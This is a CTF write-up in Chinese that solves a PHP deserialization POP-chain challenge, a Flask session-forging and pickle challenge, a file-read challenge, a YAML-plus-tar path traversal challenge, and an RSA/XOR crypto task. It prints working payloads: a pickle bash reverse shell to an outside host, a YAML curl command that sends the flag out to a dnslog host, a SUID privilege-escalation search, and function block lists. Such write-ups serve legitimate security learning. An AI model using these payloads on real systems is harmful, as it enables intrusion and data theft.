web

D0n’t pl4y g4m3!!!

  1. 打开网页,访问/p0p.php,302跳转到一个游戏页面去了。

  2. 抓包发现php的版本是7.4.21,这个版本的php能读源码,还发现有一个hint.zip。

  3. 下载hint.zip,解压后在hint.txt文件中得到这样一串东西。

    Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 owo Ö_o owO O.0 owo Ö_0 0wÖ O.0 0w0 Ö_0 OwO ov0 owo o_O O.Ö Övo 
  4. 利用在线网站(https://zdjd.vercel.app/),即可得到提示。

  5. 构造包读取源码。

    数据包:

    GET /p0p.php HTTP/1.1
    Host: tcp.cloud.dasctf.com:24054


    GET / HTTP/1.1

    源码:

    <?php
    header("HTTP/1.1 302 found");
    header("Location:https://passer-by.com/pacman/");

    class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
    return $this->$rce2=$this->exp[$rce2];
    }
    public function __toString()
    {
    call_user_func('system', "cat /flag");
    }
    }

    class Yang
    {
    public function __call($name, $ary)
    {
    if ($this->key === true || $this->finish1->name) {
    if ($this->finish->finish) {
    call_user_func($this->now[$name], $ary[0]);
    }
    }
    }
    public function ycb()
    {
    $this->now = 0;
    return $this->finish->finish;
    }
    public function __wakeup()
    {
    $this->key = True;
    }
    }
    class Cheng
    {
    private $finish;
    public $name;
    public function __get($value)
    {

    return $this->$value = $this->name[$value];
    }
    }
    class Bei
    {
    public function __destruct()
    {
    if ($this->CTF->ycb()) {
    $this->fine->YCB1($this->rce, $this->rce1);
    }
    }
    public function __wakeup()
    {
    $this->key = false;
    }
    }

    function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
    }

    $a = $_POST["CTF"];
    if (isset($a)){
    unserialize(prohib($a));
    }
    ?>
  6. 分析源码,能够知道可以利用Yang这个类的__call来rce。

  7. poc:

    <?php
    highlight_file(__FILE__);
    class Yang
    {
    public function __call($name, $ary)
    {
    echo "__call1<br>";
    if ($this->key === true || $this->finish1->name) {
    echo "__call2<br>";
    if ($this->finish->finish) {
    echo "__call3<br>";
    //var_dump($name);
    var_dump($ary);
    echo "<br>";
    call_user_func($this->now[$name], $ary[0]);
    }
    }
    }
    public function ycb()
    {
    $this->now = 0;
    return $this->finish->finish;
    }
    public function __wakeup()
    {
    $this->key = True;
    }
    }
    class Cheng
    {
    private $finish;
    public $name;
    public function __get($value)
    {

    return $this->$value = $this->name[$value];
    }
    }
    class Bei
    {

    public function __destruct()
    {
    //echo $this->rce."<br>";
    if ($this->CTF->ycb()) {
    //echo $this->rce."<br>";
    $this->fine->YCB1($this->rce, $this->rce1);
    }
    }
    public function __wakeup()
    {
    $this->key = false;
    }
    }
    $a=new Bei();
    $a->rce="cat /tmp/catcatf1ag.txt";
    $a->rce1="123";
    $a->CTF=new Yang();
    $a->CTF->finish=new Yang();
    $a->CTF->finish->finish=true;
    $a->fine=new Yang();
    $a->fine->now["YCB1"]="system";
    $a->fine->finish=new Yang();
    $a->fine->finish->finish=true;
    echo serialize($a);
    ?>
    //O:3:"Bei":4:{s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";s:4:"rce1";s:3:"123";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":2:{s:3:"now";a:1:{s:4:"YCB1";s:6:"system";}s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}}
  8. 之后将system双写,即可绕过prohib

  9. 最后的payload:

    CTF=O:3:"Bei":4:{s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";s:4:"rce1";s:3:"123";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":2:{s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}}

Serpent

  1. 访问www.zip,得到源码。

    #源码
    from flask import Flask, session
    from secret import secret

    @app.route('/verification')
    def verification():
    try:
    attribute = session.get('Attribute')
    if not isinstance(attribute, dict):
    raise Exception
    except Exception:
    return 'Hacker!!!'
    if attribute.get('name') == 'admin':
    if attribute.get('admin') == 1:
    return secret
    else:
    return "Don't play tricks on me"
    else:
    return "You are a perfect stranger to me"

    if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

  2. 抓包,在响应包里看到session,解码得到secret_keyGWHTpNTlRMDw6p

  3. 伪造session,让admin为1,nameadmin,访问/verification,即可得到下一步提示。

  4. 访问/ppppppppppick1e,在响应头看到Hint: Source in /src0de

  5. 访问/src0de,得到源码,可以发现这是pickle反序列化

    #源码
    @app.route('/src0de')
    def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

    @app.route('/ppppppppppick1e')
    def ppppppppppick1e():
    try:
    username = "admin"
    rsp = make_response("Hello, %s " % username)
    rsp.headers['hint'] = "Source in /src0de"
    pick1e = request.cookies.get('pick1e')
    if pick1e is not None:
    pick1e = base64.b64decode(pick1e)
    else:
    return rsp
    if check(pick1e):
    pick1e = pickle.loads(pick1e)
    return "Go for it!!!"
    else:
    return "No Way!!!"
    except Exception as e:
    error_message = str(e)
    return error_message

    return rsp

    class GWHT():
    def __init__(self):
    pass

    if __name__ == '__main__':
    app.run('0.0.0.0', port=80)
  6. 经过测试,过滤了R,因此R指令不可用,我们使用C指令来反弹shell。

    import base64

    b=b"\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c \'bash -i >& /dev/tcp/7654du6216.zicp.fun/33699 0>&1\'\nb."
    print(base64.b64encode(b))
    #b'gANjX19tYWluX18KR1dIVAopgX0oVl9fc2V0c3RhdGVfXwpjb3MKc3lzdGVtCnViVmJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvNzY1NGR1NjIxNi56aWNwLmZ1bi8zMzY5OSAwPiYxJwpiLg=='

  7. 成功反弹shell,在根目录发现flag,但没有权限读取。

  8. 用find命令查找具有SUID权限的程序,发现python具有这个权限。

    find / -perm -4000 2>/dev/null

  9. 最后用python来读取flag。

    python3 -c 'print(open("/flag").read())'

ArkNights

  1. 源码:

    import uuid
    from flask import *
    from werkzeug.utils import *
    app = Flask(__name__)
    app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
    @app.route('/')
    def index():
    name=request.args.get("name","name")
    m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
    if(session.get("name")=="Dr.Boog1pop"):
    blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
    if blacklist:
    return "bad hacker no way"
    exec(f'for [{name}] in [{m1sery}]:print("strange?")')
    else:
    session['name'] = "Doctor"
    return render_template("index.html",name=session.get("name"))
    @app.route('/read')
    def read():
    file = request.args.get('file')
    fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
    if fileblacklist:
    return "bad hacker!"
    start=request.args.get("start","0")
    end=request.args.get("end","0")
    if start=="0" and end=="0":
    return open(file,"rb").read()
    else:
    start,end=int(start),int(end)
    f=open(file,"rb")
    f.seek(start)
    data=f.read(end)
    return data
    @app.route("/<path:path>")
    def render_page(path):
    print(os.path.pardir)
    print(path)
    if not os.path.exists("templates/" + path):
    return "not found", 404
    return render_template(path)
    if __name__=='__main__':
    app.run(
    debug=False,
    host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

  2. 存在非预期,用read路由直接读/proc/1/environ,直接得到flag。

ezyaml

yaml的反序列化+tar的路径穿越。

  1. 源码:

    import tarfile
    from flask import Flask, render_template, request, redirect
    from hashlib import md5
    import yaml
    import os
    import re


    app = Flask(__name__)

    def waf(s):
    flag = True
    blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
    for no in blacklist:
    if no.lower() in str(s).lower():
    flag= False
    print(no)
    break
    return flag
    def extractFile(filepath, type):

    extractdir = filepath.split('.')[0]
    if not os.path.exists(extractdir):
    os.makedirs(extractdir)


    if type == 'tar':
    tf = tarfile.TarFile(filepath)
    tf.extractall(extractdir)
    return tf.getnames()

    @app.route('/', methods=['GET'])
    def main():
    fn = 'uploads/' + md5().hexdigest()
    if not os.path.exists(fn):
    os.makedirs(fn)
    return render_template('index.html')


    @app.route('/upload', methods=['GET', 'POST'])
    def upload():

    if request.method == 'GET':
    return redirect('/')

    if request.method == 'POST':
    upFile = request.files['file']
    print(upFile)
    if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
    return "<script>alert('Hacker!');window.location.href='/upload'</script>"

    savePath = f"uploads/{upFile.filename}"
    print(savePath)
    upFile.save(savePath)

    if tarfile.is_tarfile(savePath):
    zipDatas = extractFile(savePath, 'tar')
    return render_template('result.html', path=savePath, files=zipDatas)
    else:
    return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"


    @app.route('/src', methods=['GET'])
    def src():
    if request.args:
    username = request.args.get('username')
    with open(f'config/{username}.yaml', 'rb') as f:
    Config = yaml.load(f.read())
    return render_template('admin.html', username="admin", message="success")
    else:
    return render_template('index.html')


    if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)
  2. 分析源码,发现当上传文件为tar时,会进行一个解压操作,于是想到tar路径穿越。

  3. /src路由,可以发现对config目录下的文件进行一个yaml的反序列化操作,于是在文件内写入exp,利用curl+dnslog实现命令外带(反弹shell不成功)。

    #test.yaml
    !!python/object/apply:os.system ['curl http://kbqsag.ceye.io?flag=`cat /fllaagg_here`']
  4. 打包文件

    tar cPvf midi.tar ../../config/test.yaml
  5. 之后访问/src?username=test,即可成功实现外带。

CRYPTO

XOR贯穿始终

rsa+异或

  1. 打开massege.txt,是核心价值观编码,解码后得到压缩包的解压密码。(在线网站:http://www.hiencode.com/cvencode.html)

  2. 解压压缩包后,有一个pem文件是私钥文件,参考这个(https://zhuanlan.zhihu.com/p/461349946),即可分离出e,p,q。

    from Crypto.Util.number import *
    import base64
    import gmpy2
    import re

    pri=b"MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALmtMy+2uH1ZtbILSuiAukFthyQRH5mp7UmLyzZQkdg9zEP9/5tgffikQ7ytx5kHySHnazgAO1sOzmYEN4Axlev6uafiP8B1Eij97v5VkYJ1I9e3mtBNheTbXKoT8op+ASQ1fQaF4A8UzLuWeZeZI8JTH/SH+bolAK3kiZXDFdkTAgMBAAECgYEAl067LaC7Cvs2A5cMPhfYsESvIgcKN1CwW4Sd3u8dSphhgu7TgyzIuvwxbuo2g1BC6WwKhaI6vGN+csfw6nh98GEn/p3D0huNroAYvf/DRRB9UnHdttX7wB+Mv3P0RBDWHgBiCDVvHFuFUV78cIs0tnbnjxjU07aPV2XRC3AfA2ECQQDqWUNPVg3i6vTyHCL7EGkbeUheYpAAfcKCQrxjc5+5X6A+XtgHAA1JHwykPlCpHUOmlA85DJF1ejuoImzlgRLJAkEAytTCnQF+MN2r1gaAUETZyj5qMYT7Th8zKEVVVJjDawLnuX4usJ2FyRnjCkk86U75QSJhw5mMc0QnG25uGz3++w=="
    decode_pri=hex(bytes_to_long(base64.b64decode(pri)))
    print(decode_pri)
    e=re.findall(r'0203([0-9]{6})',decode_pri)
    pq=re.findall(r'0241(\w{130})',decode_pri)
    print('e= 0x'+e[0])
    print('p= 0x'+pq[0])
    print('q= 0x'+pq[1])

  3. 常规rsa解码,但解码后发现flag后半部分是乱码。

  4. 想到题目提示有XOR,于是将步骤一得到字符串和m异或一遍,最后得到flag。

  5. exp

    from Crypto.Util.number import *
    import base64
    import gmpy2
    import re

    pri=b"MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALmtMy+2uH1ZtbILSuiAukFthyQRH5mp7UmLyzZQkdg9zEP9/5tgffikQ7ytx5kHySHnazgAO1sOzmYEN4Axlev6uafiP8B1Eij97v5VkYJ1I9e3mtBNheTbXKoT8op+ASQ1fQaF4A8UzLuWeZeZI8JTH/SH+bolAK3kiZXDFdkTAgMBAAECgYEAl067LaC7Cvs2A5cMPhfYsESvIgcKN1CwW4Sd3u8dSphhgu7TgyzIuvwxbuo2g1BC6WwKhaI6vGN+csfw6nh98GEn/p3D0huNroAYvf/DRRB9UnHdttX7wB+Mv3P0RBDWHgBiCDVvHFuFUV78cIs0tnbnjxjU07aPV2XRC3AfA2ECQQDqWUNPVg3i6vTyHCL7EGkbeUheYpAAfcKCQrxjc5+5X6A+XtgHAA1JHwykPlCpHUOmlA85DJF1ejuoImzlgRLJAkEAytTCnQF+MN2r1gaAUETZyj5qMYT7Th8zKEVVVJjDawLnuX4usJ2FyRnjCkk86U75QSJhw5mMc0QnG25uGz3++w=="
    decode_pri=hex(bytes_to_long(base64.b64decode(pri)))
    #print(decode_pri)
    e=re.findall(r'0203([0-9]{6})',decode_pri)
    pq=re.findall(r'0241(\w{130})',decode_pri)
    #print('e= 0x'+e[0])
    #print('p= 0x'+pq[0])
    #print('q= 0x'+pq[1])

    import gmpy2
    from Crypto.Util.number import long_to_bytes

    #填p
    p = int(pq[0],16)

    #填q
    q = int(pq[1],16)

    n=p*q

    e = 65537
    #填c
    c=91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818

    d = gmpy2.invert(e, (p - 1) * (q - 1))
    m = pow(c, d, n)
    xor=bytes_to_long(b'C0ngr4tulati0n5_y0u_fou^d_m3')
    flag = long_to_bytes(m^xor)
    #flag = long_to_bytes(m)
    print(flag)
    #b'DASCTF{0e2874af5e422482378640e61d919e9a}'